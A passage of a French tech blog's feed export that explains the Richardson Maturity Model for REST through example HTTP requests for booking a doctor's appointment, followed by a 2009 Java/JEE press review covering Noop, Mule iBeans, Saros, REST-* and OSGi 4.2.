isPermaLink="false">http://blog.xebia.fr/?p=4965</guid> <description><![CDATA[Le modèle de maturité de Richardson (Richardson Maturity Model) est un modèle qui décompose l&#8217;approche REST en trois étapes qui introduisent progressivement les principaux éléments de REST (Ressources ; Verbes et Codes retours HTTP ; Contrôles hypermédia) pour passer d&#8217;un modèle RPC sur HTTP à un modèle RESTFul. Ce modèle a été développé par Léonard [...]]]></description> <content:encoded><![CDATA[<p>Le modèle de maturité de Richardson <em>(Richardson Maturity Model)</em> est un modèle qui décompose l&#8217;approche REST en trois étapes qui introduisent progressivement les principaux éléments de REST <em>(Ressources ; Verbes et Codes retours HTTP ; Contrôles hypermédia)</em> pour passer d&#8217;un modèle RPC sur HTTP à un modèle RESTFul.</p><p>Ce modèle a été développé par <a
href="http://www.crummy.com/" title="Léonard Richardson" >Léonard Richardson</a>. Léonard Richardson est, entre autres, co-auteur du <a
href="http://www.amazon.com/gp/product/0596529260" title="livre Restful Web Service publi chez OReilly" >livre &laquo;&nbsp;Restful Web Service&nbsp;&raquo; publié chez O&#8217;Reilly</a>.<br
/> <a
href="http://martinfowler.com/" title="Martin Fowler" >Martin Fowler</a> a récemment publié un papier à propos du Modèle de Maturité de Richardson intitulé <a
href="http://martinfowler.com/articles/richardsonMaturityModel.html" title="Richardson Maturity Model steps toward the glory of REST" >&laquo;&nbsp;Richardson Maturity Model: steps toward the glory of REST&nbsp;&raquo;</a>. Dans ce papier, Martin Fowler déroule et commente le Richardson Maturity Model au travers d&#8217;un cas d&#8217;utilisation simple <em>(réserver un rendez-vous chez le médecin)</em>.</p><p>Ce billet présente le Richardson Maturity Model en s&#8217;appuyant en grande partie sur le papier de Martin Fowler. Au programme :</p><ul><li><a
href="http://blog.xebia.fr/2010/06/25/rest-richardson-maturity-model/#LeniveauLeRPCsurHTTPenPOX">Le niveau 0 : Le RPC sur HTTP en POX <em>(Plain Old XML)</em></a>.</li><li><a
href="http://blog.xebia.fr/2010/06/25/rest-richardson-maturity-model/#Leniveaulutilisationderessourc">Le niveau 1 : L&#8217;utilisation de ressources différentiées</a>.</li><li><a
href="http://blog.xebia.fr/2010/06/25/rest-richardson-maturity-model/#LeniveauLutilisationdesverbese">Le niveau 2 : L&#8217;utilisation des verbes et des codes retours HTTP</a>.</li><li><a
href="http://blog.xebia.fr/2010/06/25/rest-richardson-maturity-model/#LeniveauLutilisationdescontrle">Le niveau 3 : L&#8217;utilisation des contrôles hypermédia</a>.</li></ul><h3><a
name="LeniveauLeRPCsurHTTPenPOX"></a>Le niveau 0 : Le RPC sur HTTP en POX</h3><p>A ce niveau, qui constitue le point de départ du modèle, on ne peut pas vraiment parler de REST : on se contente d&#8217;utiliser HTTP comme système de transport pour interagir à distance avec un <em>&laquo;&nbsp;service&nbsp;&raquo;</em>.<br
/> Toutes les requêtes sont envoyées vers le même endpoint <em>(la même URI)</em> : <code>/appointmentService</code>. Elles sont complètement décrites dans le flux XML envoyé. Dans l&#8217;exemple proposé par Martin Fowler, la réservation se fait de la façon suivante :</p><p>Une première requête est envoyée pour obtenir les créneaux disponibles à une date donnée :</p><pre class="brush: xml; title: ; notranslate">
POST /appointmentService HTTP/1.1
[various other headers]
&lt;openSlotRequest date = &quot;2010-01-04&quot; doctor = &quot;mjones&quot;/&gt;
Le serveur retourne une liste de créneaux :
HTTP/1.1 200 OK
[various headers]
&lt;openSlotList&gt;
  &lt;slot start = &quot;1400&quot; end = &quot;1450&quot;&gt;
    &lt;doctor id = &quot;mjones&quot;/&gt;
  &lt;/slot&gt;
  &lt;slot start = &quot;1600&quot; end = &quot;1650&quot;&gt;
    &lt;doctor id = &quot;mjones&quot;/&gt;
  &lt;/slot&gt;
&lt;/openSlotList&gt;
</pre><p>Une deuxième requête est envoyée <em>(sur le même endpoint)</em> pour réserver un des créneaux de la liste :</p><pre class="brush: xml; title: ; notranslate">
POST /appointmentService HTTP/1.1
[various other headers]
&lt;appointmentRequest&gt;
  &lt;slot doctor = &quot;mjones&quot; start = &quot;1400&quot; end = &quot;1450&quot;/&gt;
  &lt;patient id = &quot;jsmith&quot;/&gt;
&lt;/appointmentRequest&gt;
</pre><p>Si la demande aboutit, le serveur retourne un rendez-vous :</p><pre class="brush: xml; title: ; notranslate">
HTTP/1.1 200 OK
[various headers]
&lt;appointment&gt;
  &lt;slot doctor = &quot;mjones&quot; start = &quot;1400&quot; end = &quot;1450&quot;/&gt;
  &lt;patient id = &quot;jsmith&quot;/&gt;
&lt;/appointment&gt;
</pre><p>Si la demande échoue, le serveur retourne un message d&#8217;erreur :</p><pre class="brush: xml; title: ; notranslate">
HTTP/1.1 200 OK
[various headers]
&lt;appointmentRequestFailure&gt;
  &lt;slot doctor = &quot;mjones&quot; start = &quot;1400&quot; end = &quot;1450&quot;/&gt;
  &lt;patient id = &quot;jsmith&quot;/&gt;
  &lt;reason&gt;Slot not available&lt;/reason&gt;
&lt;/appointmentRequestFailure&gt;
</pre><p>Vous noterez l&#8217;incongruité d&#8217;une réponse <code>200 OK</code> en cas d&#8217;erreur <em>(nous y reviendrons)</em>.</p><p>Cette approche revient à mettre en place un simple système RPC <em>(Remote Procédure Call)</em>. Elle met en œuvre les mêmes mécanismes que SOAP ou XML-RPC, mais en s&#8217;affranchissant des enveloppes inhérentes à ces mécanismes. Les messages échangés sont du POX <em>(Plain Old XML)</em>.</p><h3><a
name="Leniveaulutilisationderessourc"></a>Le niveau 1 : l&#8217;utilisation de ressources différenciées</h3><p>Dans le Richardson Maturity Model, le premier pas vers l&#8217;utilisation de REST consiste à introduire la notion de ressource. Ce qui est somme toute assez logique, puisque REST est un modèle d&#8217;architecture basé sur la manipulation de ressources <em>(tout est ressource)</em>.<br
/> Ainsi, là où au niveau 0, toutes les requêtes étaient faites vers un unique endpoint <em>(une unique URI)</em>, au niveau 1, les requêtes sont envoyées à des ressources individuelles : dans l&#8217;exemple de Martin Fowler, des médecins et des créneaux.</p><p>La première requête <em>(pour demander les créneaux disponibles)</em> se fait vers l&#8217;URI d&#8217;une ressource de type médecin :</p><pre class="brush: xml; title: ; notranslate">
POST /doctors/mjones HTTP/1.1
[various other headers]
&lt;openSlotRequest date = &quot;2010-01-04&quot;/&gt;
</pre><p>La requête étant faite sur un médecin <em>(une ressource)</em> particulier, le flux XML ne spécifie plus cette information.</p><p>La réponse du serveur est en substance la même, mais elle fournit maintenant pour chaque créneau un identifiant de ressource : chaque créneau est maintenant une ressource qui peut être requêtée individuellement :</p><pre class="brush: xml; title: ; notranslate">
HTTP/1.1 200 OK
[various headers]
&lt;openSlotList&gt;
  &lt;slot id = &quot;1234&quot; doctor = &quot;mjones&quot; start = &quot;1400&quot; end = &quot;1450&quot;/&gt;
  &lt;slot id = &quot;5678&quot; doctor = &quot;mjones&quot; start = &quot;1600&quot; end = &quot;1650&quot;/&gt;
&lt;/openSlotList&gt;
</pre><p>La requête de réservation d&#8217;un créneau se fait maintenant sur la ressource idoine :</p><pre class="brush: xml; title: ; notranslate">
POST /slots/1234 HTTP/1.1
[various other headers]
&lt;appointmentRequest&gt;
  &lt;patient id = &quot;jsmith&quot;/&gt;
&lt;/appointmentRequest&gt;
</pre><p>La réponse renvoyée par le serveur est la même qu&#8217;au niveau 0.</p><p>Au niveau 1, l&#8217;introduction des ressources nous permet de gérer la complexité de notre système <em>(de notre API de réservation)</em> par l&#8217;approche <em>&laquo;&nbsp;divide &#038; conquer&nbsp;&raquo;</em> : nous avons éclaté un service en plusieurs ressources.</p><h3><a
name="LeniveauLutilisationdesverbese"></a>Le niveau 2 : L&#8217;utilisation des verbes et des codes retours HTTP</h3><p>La deuxième étape de l&#8217;approche prônée par le Richardson Maturity Model est d&#8217;introduire l&#8217;utilisation des verbes et des codes retours HTTP. Dans REST, les ressources sont manipulées au travers d&#8217;un jeu de verbes simples. Le plus souvent les verbes HTTP pour la simple et bonne raison que la majeure partie des implémentations REST se fait sur HTTP.</p><p>L&#8217;idée est de tirer parti du protocole sur lequel nous nous appuyons. Ainsi, au niveau 2, Martin Fowler déroule son exemple de la façon suivante :</p><p>La première requête <em>(pour demander les créneaux disponibles)</em> se fait en utilisant une requête <code>GET</code> <em>(et non plus <code>POST</code>)</em> :</p><pre class="brush: xml; title: ; notranslate">
GET /doctors/mjones/slots?date=20100104&amp;status=open HTTP/1.1
Host: royalhope.nhs.uk
</pre><p>La réponse à cette requête est la même qu&#8217;au niveau 1.</p><p>Pour rappel, HTTP définit <code>GET</code> comme une opération &laquo;&nbsp;sécurisée&nbsp;&raquo; qui n&#8217;induit aucun changement d&#8217;état côté serveur. Cette particularité présente deux avantages :</p><ul><li>Les requêtes <code>GET</code> peuvent être invoquées autant de fois qu&#8217;on le souhaite dans n&#8217;importe quel ordre : la réponse à une requête sera toujours la même <em>(sauf bien sûr si l&#8217;état de la ressource a été modifié par ailleurs)</em>.</li><li>Les résultats des requêtes <code>GET</code> peuvent être mis en cache par les différents équipements intervenant dans la chaîne de routage de la requête <em>(dans un système comme celui de l&#8217;exemple déroulé par Martin Folwer, il conviendra évidement de régler correctement le &laquo;&nbsp;cache timeout&nbsp;&raquo;)</em>.</li></ul><p>La requête de réservation d&#8217;un créneau est la même qu&#8217;au niveau 1 <em>(en <code>POST</code>)</em>.</p><p>Les réponses retournées par le serveur sont les mêmes qu&#8217;au niveau 1 à l&#8217;exception du code retour utilisé :</p><ul><li>Si la demande aboutie, le serveur retourne un code <code>201 Created</code> : ce code réponse indique clairement qu&#8217;une nouvelle ressource a été créée. L&#8217;URI de cette ressource est contenue dans la réponse : <code>Location : slots/1234/appointment</code> <em>(la ressource elle-même, dans sa représentation XML, est également retournée afin d&#8217;éviter une requête supplémentaire au client)</em>. L&#8217;indication fournie par le code retour est plus riche qu&#8217;avec un simple <code>200 OK</code>.</li></ul><pre class="brush: xml; title: ; notranslate">
HTTP/1.1 201 Created
Location: slots/1234/appointment
[various headers]
&lt;appointment&gt;
  &lt;slot id = &quot;1234&quot; doctor = &quot;mjones&quot; start = &quot;1400&quot; end = &quot;1450&quot;/&gt;
  &lt;patient id = &quot;jsmith&quot;/&gt;
&lt;/appointment&gt;
</pre><ul><li>Si la demande échoue, le serveur retourne un code <code>409 Conflict</code> : ce code réponse indique clairement que la requête n&#8217;a pas aboutit en raison d&#8217;un conflit <em>(le créneau est déjà réservé)</em>. L&#8217;utilisation d&#8217;un code en <code>4XX</code> a ici beaucoup plus de sens que celle du <code>200 OK</code> qui devient fallacieuse quand on retourne une erreur.</li></ul><pre class="brush: xml; title: ; notranslate">
HTTP/1.1 409 Conflict
[various headers]
&lt;openSlotList&gt;
  &lt;slot id = &quot;5678&quot; doctor = &quot;mjones&quot; start = &quot;1600&quot; end = &quot;1650&quot;/&gt;
&lt;/openSlotList&gt;
</pre><p>Au niveau 2, l&#8217;utilisation des verbes et codes retours standards de HTTP nous permet de tirer pleinement parti du protocole sur lequel nous nous appuyons <em>(&laquo;&nbsp;By following the rules of HTTP we&#8217;re able to take advantage of that capability.&nbsp;&raquo;)</em>.<br
/> Cette approche nous permet également d&#8217;éliminer les variantes dans la façon de traiter les choses et ainsi, de gérer des cas similaires de façon semblable dans l&#8217;ensemble de notre API.</p><p>A propos de l&#8217;utilisation des standards HTTP, Martin Fowler soulève un point très intéressant. Comme il l&#8217;explique, les partisans de REST poussent à l&#8217;utilisation de l&#8217;ensemble des verbes HTTP <em>(ce qui permet de disposer d&#8217;une sémantique CRUD)</em>. Or, un argument souvent avancé est que le modèle REST a fait ses preuves à très grande échelle : internet est construit sur une architecture REST. En effet, cet argument est inattaquable quand il s&#8217;agit d&#8217;utiliser <code>POST</code> et <code>GET</code>, mais il devient beaucoup plus discutable quand on parle de l&#8217;utilisation des verbes <code>PUT</code> et <code>DELETE</code>.</p><h3><a
name="LeniveauLutilisationdescontrle"></a>Le niveau 3 : L&#8217;utilisation des contrôles hypermédia</h3><p>Le troisième et dernier niveau du Richardson Maturity Model introduit la notion de <a
href="http://en.wikipedia.org/wiki/HATEOAS" title="HATEOAS" >HATEOAS</a> <em>(Hypertext As The Engine Of Application State)</em>. Derrière cet acronyme barbare se cache un principe simple : les transitions possibles vers les états suivants sont fournies par des liens hypermédia.</p><p>Les requêtes sont les mêmes qu&#8217;au niveau 2, mais les réponses sont ici enrichies avec, pour chaque ressource, un élément <code>link</code> fournissant l&#8217;URI permettant de la manipuler.<br
/> Ainsi, dans l&#8217;exemple de Martin Fowler, la réponse à la requête de demande de créneaux libres est :</p><pre class="brush: xml; title: ; notranslate">
HTTP/1.1 200 OK
[various headers]
&lt;openSlotList&gt;
  &lt;slot id = &quot;1234&quot; doctor = &quot;mjones&quot; start = &quot;1400&quot; end = &quot;1450&quot;&gt;
     &lt;link rel = &quot;royalhope.nhs.uk/linkrels/slot/book&quot;
           uri = &quot;slots/1234&quot;/&gt;
  &lt;/slot&gt;
  &lt;slot id = &quot;5678&quot; doctor = &quot;mjones&quot; start = &quot;1600&quot; end = &quot;1650&quot;&gt;
     &lt;link rel = &quot;royalhope.nhs.uk/linkrels/slot/book&quot;
           uri = &quot;slots/5678&quot;/&gt;
  &lt;/slot&gt;
&lt;/openSlotList&gt;
</pre><p>Et la réponse à la requête de réservation d&#8217;un créneau est :</p><pre class="brush: xml; title: ; notranslate">
HTTP/1.1 201 Created
Location: slots/1234/appointment
[various headers]
&lt;appointment&gt;
  &lt;slot id = &quot;1234&quot; doctor = &quot;mjones&quot; start = &quot;1400&quot; end = &quot;1450&quot;/&gt;
  &lt;patient id = &quot;jsmith&quot;/&gt;
  &lt;link rel = &quot;royalhope.nhs.uk/linkrels/appointment/cancel&quot;
        uri = &quot;slots/1234/appointment&quot;/&gt;
  &lt;link rel = &quot;royalhope.nhs.uk/linkrels/appointment/addTest&quot;
        uri = &quot;slots/1234/appointment/tests&quot;/&gt;
  &lt;link rel = &quot;self&quot;
        uri = &quot;slots/1234/appointment&quot;/&gt;
  &lt;link rel = &quot;royalhope.nhs.uk/linkrels/appointment/changeTime&quot;
        uri = &quot;doctors/mjones/slots?date=20100104@status=open&quot;/&gt;
  &lt;link rel = &quot;royalhope.nhs.uk/linkrels/appointment/updateContactInfo&quot;
        uri = &quot;patients/jsmith/contactInfo&quot;/&gt;
  &lt;link rel = &quot;royalhope.nhs.uk/linkrels/help&quot;
        uri = &quot;help/appointment&quot;/&gt;
&lt;/appointment&gt;
</pre><p>Le premier avantage de l&#8217;utilisation des contrôles hypermédia est que les développeurs côté serveur peuvent refactorer les URI d&#8217;accès à l&#8217;API sans impacter les clients <em>(pour autant que les clients utilisent les URI fournies par les éléments <code>link</code>)</em>.</p><p>D&#8217;autre part, l&#8217;utilisation des contrôles hypermédia permet d&#8217;auto-documenter l&#8217;API REST. Même si cette approche ne suffit pas à documenter complètement l&#8217;API, elle fournit un premier niveau d&#8217;information :</p><ul><li>Elle aide les utilisateurs de l&#8217;API REST <em>(les développeurs de clients)</em> à explorer ses capacités : chaque réponse indique ce qu&#8217;il est possible de faire après en indiquant les ressources manipulables <em>(on notera que les éléments <code>link</code> ne fournissent pas d&#8217;indication sur les verbes utilisables)</em>.</li><li>Elle permet aux développeurs de l&#8217;API de communiquer sur les nouvelles fonctionnalités en ajoutant de nouveaux éléments <code>link</code> dans les réponses.</li></ul><h3><a
name="Perspectives"></a>Perspectives</h3><p>Le Richardson Maturity Model propose un fil conducteur permettant d&#8217;appréhender pas à pas les concepts sous-jacents à une approche RESTFul :</p><ul><li>Niveau 1 : Gérer la complexité de notre système via l&#8217;approche <em>&laquo;&nbsp;divide &#038; conquer&nbsp;&raquo;</em> en introduisant la notion de ressource.</li><li>Niveau 2 : Eliminer les variantes dans la façon de traiter les choses et de gérer des cas similaires de façon semblable en introduisant un jeu de verbes standards pour manipuler les ressources.</li><li>Niveau 3 : Auto-documenter le protocole et fournir un premier niveau de découvrabilité au travers de la notion de HATEOAS.</li></ul><p>Le Richardson Maturity Model fournit aussi un biais intéressant pour évaluer la &laquo;&nbsp;RESTitude&nbsp;&raquo; d&#8217;une architecture.</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2010/06/25/rest-richardson-maturity-model/feed/</wfw:commentRss> <slash:comments>3</slash:comments> </item> <item><title>Revue de presse</title><link>http://blog.xebia.fr/2009/09/21/revue-de-presse-xebia-127/</link> <comments>http://blog.xebia.fr/2009/09/21/revue-de-presse-xebia-127/#comments</comments> <pubDate>Mon, 21 Sep 2009 17:35:00 +0000</pubDate> <dc:creator>Xebia France</dc:creator> <category><![CDATA[Java / JEE]]></category> <category><![CDATA[Revue de presse]]></category> <category><![CDATA[Flex]]></category> <category><![CDATA[Google]]></category> <category><![CDATA[ibeans]]></category> <category><![CDATA[JEE]]></category> <category><![CDATA[JVM]]></category> <category><![CDATA[memcached]]></category> <category><![CDATA[Mule]]></category> <category><![CDATA[MySQL]]></category> <category><![CDATA[Noop]]></category> <category><![CDATA[OSGi]]></category> <category><![CDATA[REST]]></category> <category><![CDATA[Saros]]></category> <category><![CDATA[scala]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=2869</guid> <description><![CDATA[La revue de presse de l’actualitéava/J2EE hebdomadaire proposépar Xebia. Actualité éditeurs / SSII Google lance son langage pour la JVM iBeans : la solution d&#8217;intégration pour applications Web de MuleSoft Agilité Pair programming à distance sous Eclipse avec Saros SOA L&#8217;initiative REST-* fait débat Le coin de la technique OSGi 4.2 Scala OSGi-fié Astuces de [...]]]></description> <content:encoded><![CDATA[<p><img
src="http://blog.xebia.fr/wp-content/uploads/2007/06/revuedepresse.png" alt="Revue de Presse Xebia" style="margin: 1em 1em 1em 1em; float: right;" /><br
/> <em>La revue de presse de l’actualitéava/J2EE hebdomadaire proposépar Xebia.</em></p><p><strong>Actualité éditeurs / SSII</strong></p><ul><li><a
href="http://blog.xebia.fr/2009/09/21/revue-de-presse-xebia-127/#GooglelancesonlangagepourlaJVM">Google lance son langage pour la JVM</a></li><li><a
href="http://blog.xebia.fr/2009/09/21/revue-de-presse-xebia-127/#iBeanslasolutiondintgrationpou">iBeans : la solution d&#8217;intégration pour applications Web de MuleSoft</a></li></ul><p><strong>Agilité</strong></p><ul><li><a
href="http://blog.xebia.fr/2009/09/21/revue-de-presse-xebia-127/#PairprogrammingdistancesousEcl">Pair programming à distance sous Eclipse avec Saros</a></li></ul><p><strong>SOA</strong></p><ul><li><a
href="http://blog.xebia.fr/2009/09/21/revue-de-presse-xebia-127/#LinitiativeRESTfaitdbat">L&#8217;initiative REST-* fait débat</a></li></ul><p><strong>Le coin de la technique</strong></p><ul><li><a
href="http://blog.xebia.fr/2009/09/21/revue-de-presse-xebia-127/#OSGi">OSGi 4.2</a></li><li><a
href="http://blog.xebia.fr/2009/09/21/revue-de-presse-xebia-127/#ScalaOSGifi">Scala OSGi-fié</a></li><li><a
href="http://blog.xebia.fr/2009/09/21/revue-de-presse-xebia-127/#AstucesdeperformancepourMySQL">Astuces de performance pour MySQL</a></li><li><a
href="http://blog.xebia.fr/2009/09/21/revue-de-presse-xebia-127/#Enqutesurlestempsderedmarraged">Enquête sur les temps de redémarrage des serveurs JEE</a></li><li><a
href="http://blog.xebia.fr/2009/09/21/revue-de-presse-xebia-127/#Premierspasavecmemcached">Premiers pas avec memcached</a></li></ul><p><strong>Evènements de notre communauté en France et à l&#8217;étranger</strong></p><ul><li><a
href="http://blog.xebia.fr/2009/09/21/revue-de-presse-xebia-127/#SoireTontonsFlexeursleSeptembr">Soirée Tontons Flexeurs le 24 Septembre</a></li></ul><h3><a
name="ActualitditeursSSII"></a>Actualité éditeurs / SSII</h3><h4><a
name="GooglelancesonlangagepourlaJVM"></a>Google lance son langage pour la JVM</h4><p>Lors du <a
href="http://openjdk.java.net/projects/mlvm/jvmlangsummit/" title="JVM Language Summit" >JVM Language Summit</a> de la semaine dernière, Google a présenté son nouveau langage pour la JVM appelé <a
href="http://code.google.com/p/noop/" title="Noop" >Noop</a>. Le <a
href="http://code.google.com/p/noop/w/list" title="Wiki du projet" >Wiki du projet</a> et sa <a
href="http://wiki.jvmlangsummit.com/Noop_Language_-W-" title="prsentation" >présentation</a> permettent de faire le tour des spécificités de ce langage :</p><ul><li>Syntaxe prévue pour être facilement compréhensible par un développeur Java ou C++</li><li>Pas de types primitifs, pas de classes ou méthodes statiques, variables non mutables par défaut, pas de syntaxe optionnelle, exceptions uniquement de type <em>unchecked</em></li><li>Librairie standard s&#8217;appuyant sur <a
href="http://joda-time.sourceforge.net/" title="JodaTime" >JodaTime</a>, util.concurrent et <a
href="http://code.google.com/p/google-collections/" title="Google Collections" >Google Collections</a></li><li>Support natif du concept d&#8217;injection de dépendances offert par <a
href="http://code.google.com/p/google-guice/" title="Guice" >Guice</a> ou <a
href="http://www.picocontainer.org/" title="PicoContainer" >PicoContainer</a>, un type est alors soit <em>newable</em> soit <em>injectable</em></li><li>Support natif des tests unitaires qui ont leur structure dédiée sans classes ni méthodes</li></ul><p>Les réactions qui ont suivies cette annonce montrent en général un intérêt couplé à une réserve légitime due à l&#8217;état embryonnaire du projet. Ainsi <a
href="http://www.jroller.com/dmdevito/entry/reviewing_noop_language_from_google" title="l'analyse de Dominique de Vito" >l&#8217;analyse de Dominique de Vito</a> s&#8217;inscrit dans ce schéma, tandis qu&#8217;Alexis Moussine-Pouchkine, Sun, <a
href="http://pro.01net.com/editorial/506291/google-veut-moderniser-java-avec-noop/" title="explique  01net" >explique à 01net</a> qu&#8217;il trouve enrichissant la profusion de nouvelles idées mais que, selon lui, le langage Java restera malgré tout omniprésent pendant encore des années.</p><p>Reste que là où de nombreux nouveaux langages justifient leur existence par une syntaxe plus compacte, une nature dynamique ou encore des concepts élaborés, Noop semble adopter une approche plus pragmatique et plus proche des besoins quotidiens rencontrés en informatique de gestion. L&#8217;avenir nous dira si les apports de ce langage sont suffisants pour convaincre des équipes de le préférer à Java pour leurs développements.</p><h4><a
name="iBeanslasolutiondintgrationpou"></a>iBeans : la solution d&#8217;intégration pour applications Web de MuleSoft</h4><p>MuleSource, récemment renommé en MuleSoft lors du lancement de leur offre <a
href="http://www.mulesoft.com/tcat-server-enterprise-tomcat-application-server" title="Tcat Server" >Tcat Server</a> a récemment diffusé une première beta public d&#8217;un nouveau produit : <a
href="http://www.mulesoft.org/display/IBEANS" title="Mule iBeans" >Mule iBeans</a>. Il s&#8217;agit d&#8217;une nouvelle solution d&#8217;intégration s&#8217;attaquant à un marché différent des ESB traditionnels. MuleSoft part en effet du constat que de nombreuses applications Web doivent s&#8217;intégrer avec diverses ressources distantes, mais ne peuvent s&#8217;appuyer sur un ESB qui constituerait une solution trop lourde. iBeans se positionne ainsi en tant que solution d&#8217;intégration pour applications Web. La nuance est légère par rapport aux ESB mais on constate clairement cette orientation dans la pratique : annotations, composants iBeans, injection de services type IoC avec un contexte <em>request</em>, &#8230;</p><p>La particularité principale du projet est son modèle de composant iBeans. Il s&#8217;agit de composants similaires aux Beans Spring ou aux Session Beans EJB mais spécialisés dans l&#8217;accès à un service à distance. Ces composants utilisent certaines annotations de la récente <a
href="http://jcp.org/en/jsr/detail?id=330" title="JSR-330 (Dependency injection for Java)" >JSR-330 (Dependency injection for Java)</a> et peuvent s&#8217;intégrer facilement avec Spring, Struts et JSF.</p><p>MuleSoft propose parallèlement un projet nommé <a
href="http://www.mulesoft.org/display/IBEANSCONTRIB/Home" title="Community iBeans Proposals" >Community iBeans Proposals</a> visant à regrouper les iBeans de la communauté pour intégrer les ressources les plus fréquentes.</p><p>iBeans répond à un besoin courant des applications Web. La réponse proposée par MuleSoft est élégante mais on pourra regretter l&#8217;apparition d&#8217;un modèle de composant supplémentaire disposant de son propre cycle de vie. Actuellement l&#8217;éditeur n&#8217;a pas communiqué sur son projet naissant en dehors de la <a
href="http://www.mulesoft.org/display/IBEANS/Documentation" title="page Wiki dédiée" >page Wiki dédiée</a>. Une recherche Google montre rapidement que la communication autour de ce projet est quasi inexistante. Toutefois, une <a
href="http://www.devoxx.com/display/DV09/iBeans+-+dead+simple+integration+for+the+Web" title="session ddie au sujet" >session dédiée au sujet</a> prévue pour Devoxx 2009 tend à nous faire penser que la célèbre conférence européenne pourrait bien servir de rampe de lancement au nouveau projet de MuleSoft.</p><h3><a
name="Agilit"></a>Agilité</h3><h4><a
name="PairprogrammingdistancesousEcl"></a>Pair programming à distance sous Eclipse avec Saros</h4><p>L&#8217;<a
href="https://www.inf.fu-berlin.de/" title="université de Berlin" >université de Berlin</a> propose depuis quelques temps un plugin Eclipse nommé <a
href="https://www.inf.fu-berlin.de/w/SE/DPP" title="Saros" >Saros</a>, offrant des fonctionnalités permettant le <em>pair programming</em> à distance grâce au <a
href="http://fr.wikipedia.org/wiki/Extensible_Messaging_and_Presence_Protocol" title="protocole XMPP" >protocole XMPP</a>. Concrètement les possibilités sont :</p><ul><li>Reproduction ou synchronisation d&#8217;un projet Eclipse à distance via une connexion XMPP.</li><li>Visualisation dans l&#8217;environnement de l&#8217;<em>observer</em> des classes ouvertes et de la classe en cours d&#8217;édition par le <em>driver</em>.</li><li>Affichage en temps réel des modifications du code, et de la position du curseur et du texte sélectionné.</li><li>Gestion expérimentale d&#8217;un mode <em>multi-driver</em> permettant de modifier le code à deux simultanément.</li><li>Chat via une vue dédiée dans Eclipse</li></ul><p>Un <a
href="https://www.inf.fu-berlin.de/w/SE/DPPDemoVideo" title="screencast" >screencast</a> est proposé sur le site du projet, celui-ci permet de se rendre compte des capacités du plugin.</p><p>Idéalement complété d&#8217;une conversation Skype, ce plugin trouvera sa place dans de nombreux scenarii allant du <em>distributed pair programming</em> à l&#8217;assistance d&#8217;un collègue situé à un autre étage.</p><h3><a
name="SOA"></a>SOA</h3><h4><a
name="LinitiativeRESTfaitdbat"></a>L&#8217;initiative REST-* fait débat</h4><p>JBoss vient de lancer le site <a
href="http://www.jboss.org/reststar" title="RESTorg" >REST-*.org</a> hébergeant son initiative de standardisation de plusieurs services <em>middleware</em> traditionnels sur le modèle REST.</p><p>Actuellement deux <em>drafts</em> sont en cours de rédaction, l&#8217;un porte sur <a
href="http://www.jboss.org/reststar/specifications/messaging.html" title="RESTful Messaging" >RESTful Messaging</a>, l&#8217;autre sur <a
href="http://www.jboss.org/reststar/specifications/transactions.html" title="RESTful Transactions" >RESTful Transactions</a>. Ces deux spécifications visent à définir un ensemble d&#8217;URIs standards sur le modèle REST permettant d&#8217;exposer une ressource transactionnelle ou un <em>broker</em> de messages.</p><p>Très rapidement, de vives réactions sont apparues au sein de la communauté, principalement pour faire part de leur scepticisme quant à cette initiative, régulièrement comparée à la très lourde collections de spécifications WS-*, qui pourrait mettre à mal la simplicité unanimement reconnue du modèle REST. C&#8217;est ainsi le cas <a
href="http://apsblog.burtongroup.com/2009/09/rest-ive-got-a-bad-feeling-about-this.html" title="d'Anne Thomas Manes" >d&#8217;Anne Thomas Manes</a> qui revient également sur les critiques de Bill Burke à l&#8217;égart de l&#8217;initiative <a
href="http://www.restms.org/" title="RestMS" >RestMS</a> qui existait déjà et qui pariait plutôt sur Atom et AMQP.</p><p>Bill Burke de son coté publie sur <a
href="http://bill.burkecentral.com/" title="son blog" >son blog</a> un billet par jour depuis la publication sur le site REST-*.org, pour justifier ses choix et la légitimité du projet qu&#8217;il porte. Ses arguments portent principalement sur le fait qu&#8217;il existe une demande très forte de la communauté pour gérer les services de <em>messaging</em> et les transactions avec REST.</p><p>Le débat est compréhensible : la volonté d&#8217;exposer certaines ressources transactionnelles ou services de <em>messaging</em> s&#8217;inscrit dans les besoins courants des entreprises, tout comme les craintes de voir se reproduire les erreurs du passé sont légitimes. L&#8217;apport de cette initiative est donc probablement de porter sur le devant de la scène une réflexion sur un problème pourtant courant et déjà exposé par Leonard Richardson et Sam Ruby, il y a deux ans, dans leur livre majeur <a
href="http://oreilly.com/catalog/9780596529260/" title="RESTful Web Services" >RESTful Web Services</a>.</p><h3><a
name="Lecoindelatechnique"></a>Le coin de la technique</h3><h4><a
name="OSGi"></a>OSGi 4.2</h4><p>OSGi est sur le devant de la scène, d&#8217;<a
href="http://www.infoq.com/news/2009/09/osgi-4-2-released" title="InfoQ" >InfoQ</a> à <a
href="http://osgithoughts.blogspot.com/2009/09/osgi-42-core-and-compendium-specs.html" title="OSGi Thoughts" >OSGi Thoughts</a> en passant par <a
href="http://blog.bjhargrave.com/2009/09/osgi-42-specs-are-now-available.html" title="The Programming Delusion" >The Programming Delusion</a> (BJ Hargrave, CTO de l&#8217;OSGi Alliance), depuis une petite semaine et pour cause : l&#8217;<a
href="http://www.osgi.org/News/20090916" title="OSGi Alliance" >OSGi Alliance</a> a sorti et mis à disposition le 16 septembre dernier les spécifications finales de la version 4.2 (téléchargeables <a
href="http://www.osgi.org/Specifications/HomePage" title="ici" >ici</a>).</p><p><a
href="http://alblue.blogspot.com/2009/09/osgi-42-released.html" title="Alex Blewitt" >Alex Blewitt</a> nous résume la situation sur <a
href="http://www.infoq.com/news/2009/09/osgi-4-2-released" title="InfoQ" >InfoQ</a>. On retiendra qu&#8217;<a
href="http://www.eclipse.org/equinox" title="Equinox" >Equinox</a> et <a
href="http://felix.apache.org/" title="Flix" >Félix</a> ont déjà commencé leur travail de compatibilité avec OSGi 4.2. Les spécifications étant désormais <em>released</em>, ce n&#8217;est qu&#8217;une question de temps avant que les projets affichent fièrement leur label <em>OSGi 4.2 compliant</em>.<br
/> On notera aussi une nouvelle méthode de lancement du runtime OSGi, le nouveau nom des Distributed OSGi qui deviennent les Remote Services (connexion de VMs OSGi), les Blueprint Services qui seront des services <em>wired</em> à la Spring, le concept de Bundle Tracker ou bien encore le mécanisme de permission sur une opération dans un bundle.</p><p>Pour la petite piqure de rappel, on pourra se tourner vers <a
